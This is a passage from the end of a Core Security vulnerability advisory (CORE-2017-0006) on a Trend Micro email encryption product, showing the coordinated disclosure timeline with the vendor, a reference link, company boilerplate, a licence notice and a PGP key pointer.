addition, Core Security asked for CVE-IDs.  
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be  
addressed and notified Core Security they will send the CVE-IDs when  
have these assigned. In addition, Trend Micro sent its new PGP key.  
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed  
on the proposed release date.  
2018-01-29: Trend Micro answered saying the team found a couple of  
issues during the QA test. Consequently, Trend Micro asked for  
additional time to fix the remaining vulnerabilities and required a  
separated disclosure time.  
2018-01-29: Core Security answered its intention to report all the  
vulnerabilities in just one advisory and asked for a timeline for the fix.  
2018-02-01: Core Security asked for an update on the remaining  
vulnerabilities.  
2018-02-02: Trend Micro sent an update and requested a week extension.  
2018-02-02: Core Security thanked Trend Micro's update and agreed to  
postpone the release.  
2018-02-14: Trend Micro answered saying the remaining vulnerabilities  
will not be addressed in the patch due to its complexity; therefore,  
mitigation steeps will be recommending. Also, Trend Micro proposed  
February 21 as the release date.  
2018-02-14: Core Security thanked Trend Micro's update and agreed on the  
proposed release date.  
2018-02-21: Advisory CORE-2017-0006 published.  
  
9. *References*  
  
[1]  
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/  
  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security, is charged with  
anticipating the future needs and requirements for information security  
technologies.  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies. CoreLabs regularly publishes security  
advisories, technical papers, project information and shared software  
tools for public use at:  
http://corelabs.coresecurity.com.  
  
11. *About Core Security*  
  
Core Security provides companies with the security insight they need to  
know who, how, and what is vulnerable in their organization. The  
company's threat-aware, identity & access, network security, and  
vulnerability management solutions provide actionable insight and context  
needed to manage security risks across the enterprise. This shared  
insight gives customers a comprehensive view of their security posture  
to make better security remediation decisions. Better insight allows  
organizations to prioritize their efforts to protect critical assets,  
take action sooner to mitigate access risk, and react faster if a breach  
does occur.  
  
Core Security is headquartered in the USA with offices and operations in  
South America, Europe, Middle East and Asia. To learn more, contact Core  
Security at (678) 304-4500 or [email protected]  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2018 Core Security and  
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution  
Non-Commercial Share-Alike 3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security advisories  
team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
`